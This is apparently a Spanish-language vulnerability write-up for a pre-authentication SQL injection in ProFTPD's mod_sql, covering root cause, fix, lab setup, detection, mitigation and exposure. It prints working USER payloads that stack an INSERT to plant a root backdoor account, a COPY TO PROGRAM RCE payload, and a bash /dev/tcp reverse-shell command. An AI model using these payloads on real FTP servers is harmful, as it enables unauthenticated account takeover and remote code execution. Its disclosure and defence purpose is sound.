1. Causa raíz — heurística is_escaped_text() en contrib/mod_sql.c

mod_sql resuelve las variables de formato de registro (%U, %{basename}, etc.) y añade cada fragmento al SQL renderizado mediante sql_resolved_append_text(). Para preservar la compatibilidad con configuraciones de administradores que ya envuelven variables en '…', la función llama a is_escaped_text() para decidir si se necesita sql_escapestring:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

Cuando el atacante envía USER '<payload>' (comilla inicial y final, sin comillas internas), el resolvedor sustituye %U sin escapar, produciendo ''<payload>'' en el SQL — los literales de cadena vacía cierran las comillas circundantes y <payload> se ejecuta como SQL crudo. Con PostgreSQL (PQexec) y SQLite (sqlite3_exec), se admiten consultas apiladas, por lo que <payload> puede ser cualquier secuencia de sentencias.

Debido a que SQLLog ERR_* se activa en inicios de sesión fallidos y %U se establece desde USER antes de la autenticación, el ataque es completamente no autenticado.

La corrección (commit e6f728481, "Issue #2052")

sql_resolved_append_text() gana un parámetro already_escaped. Los llamadores que resuelven valores de entrada del cliente pasan FALSE y ahora pasan por sql_escapestring incondicionalmente — la heurística is_escaped_text() todavía se aplica para la ruta legítima de "config con valor pre-escapado", pero ya no se aplica a datos controlados por el atacante.

2. Entorno de laboratorio```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

Las dos variantes interactivas en el repositorio upstream (preauth_user_rce.py, postauth_stor_rce.py) no están modificadas y abren una reverse shell respaldada por PTY. Usan la misma primitiva que la variante marcadora — solo sustituye el comando de shell por bash -i >& /dev/tcp/<host>/<port> 0>&1 y escucha en <port> primero.

4. Los payloads, byte por byte

Backdoor pre-autenticación (comando USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

Mismo bypass, diferente disparador. chr(47) = '/' se usa porque / en un nombre de archivo se interpreta como separador de directorio por FTP, por lo que el atacante no puede poner un / literal en el nombre de archivo — chr() permite que la cuenta backdoor obtenga homedir = '/' sin enviar uno por la red.

RCE pre-autenticación (USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

Ese mensaje se emite en contrib/mod_sql.c:791 solo cuando is_escaped_text() devuelve TRUE — es decir, exactamente la omisión.

6. Detección / mitigación

Detección (forense en un servidor desplegado):

• grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log con Trace sql:17 habilitado marca cada intento de inyección que alcanzó la omisión.
• Audite activity_log (o la tabla en la que escriba SQLNamedQuery INSERT): las filas donde la columna de nombre de usuario comienza con una comilla suelta, contiene null, null);, o contiene INSERT/COPY TO PROGRAM/UPDATE son evidencia.
• Audite la tabla users en busca de cuentas con uid=0, homedir='/', o shell configurado a un shell real cuando la política es usar /sbin/nologin.

Mitigación:

• Actualice ProFTPD ≥ 1.3.9a / 1.3.10rc1 (commit e6f728481).
• Control compensatorio si la actualización aún no es posible: elimine las variables controlables por el atacante de las cadenas de formato SQLNamedQuery (reemplace '%U' con el más seguro %U solo dentro de backends parametrizados, o use registro basado en archivos de texto plano para inicios de sesión fallidos).
• Defensa en profundidad: asegúrese de que el rol de PostgreSQL de mod_sql no sea un superusuario — eso solo elimina la ruta de RCE COPY TO PROGRAM (la omisión de autenticación mediante INSERT INTO users apilado sigue funcionando, pero el radio de explosión queda contenido a la base de datos de proftpd).

7. Mapa de archivos para este repositorio```

. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png

Cada uno envuelve una variable controlada por el atacante (%u, %r) entre comillas simples — exactamente la forma que is_escaped_text() clasifica erróneamente. Un administrador que copie y pegue desde la documentación oficial hereda el patrón vulnerable. Esa es la razón principal para tomárselo en serio.

8.3 Pre-auth vs post-auth

La ruta completamente no autenticada (USER + %U + SQLLog ERR_*) es el caso más restringido. Requiere las tres condiciones:

• Un SQLNamedQuery que interpole %U (nombre de usuario original, establecido incluso en un inicio de sesión fallido) dentro de comillas simples — menos común que %u en configuraciones reales, ya que la mayoría de los administradores quieren el nombre de usuario exitoso para auditoría y usan %u.
• Una directiva SQLLog que se dispare antes de la autenticación. SQLLog ERR_* es el comodín canónico para eso. SQLLog PASS … y SQLLog STOR … (las formas más comunes) no lo hacen.
• Un backend que admita consultas apiladas (PostgreSQL o SQLite — ver §8.4).

Si la configuración usa %u en lugar de %U, el mismo fallo sigue produciendo eludición de autenticación — pero solo post-auth, es decir, el atacante primero necesita cualquier credencial válida antes de poder plantar una puerta trasera con uid=0. En la mayoría de las configuraciones reales, esta es la exposición realista: usuario FTP de bajo privilegio → usuario FTP equivalente a root mediante una sola subida.

8.4 El backend importa mucho

La eludición se dispara de forma idéntica en todos los backends, pero lo que el atacante puede hacer difiere notablemente:

PostgreSQL o SQLite ⇒ impacto completo. MySQL ⇒ solo fuga de datos / ciego basado en tiempo. MySQL es, con diferencia, el backend más común para hosting compartido (cPanel, Plesk, ISPConfig todos lo usan por defecto); PostgreSQL es más común en builds empresariales personalizadas. Ambas poblaciones no son triviales.

8.5 El RCE tiene su propia puerta

El RCE destacado de COPY TO PROGRAM además requiere que el rol de PostgreSQL de mod_sql sea superusuario (o miembro de pg_execute_server_program). Eso es:

• Común cuando la BD se creó con la variable de entorno POSTGRES_USER de la imagen oficial de Docker de postgres (el valor por defecto para la mayoría de los laboratorios de PoC y muchas imágenes de appliances, incluido el setup/ de este repositorio).
• Común cuando ProFTPD gestiona su propia instancia de BD (despliegues de un solo inquilino, imágenes de appliances alojadas).
• Menos común cuando el aprovisionamiento liderado por el DBA creó el rol con privilegios mínimos.

Si el rol no es superusuario, aún se obtiene la primitiva de eludición de autenticación (crítica en sí misma), pero el RCE a nivel de SO en el host de la BD desaparece.

9. Uniendo las piezas — quién está realmente expuesto```

ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above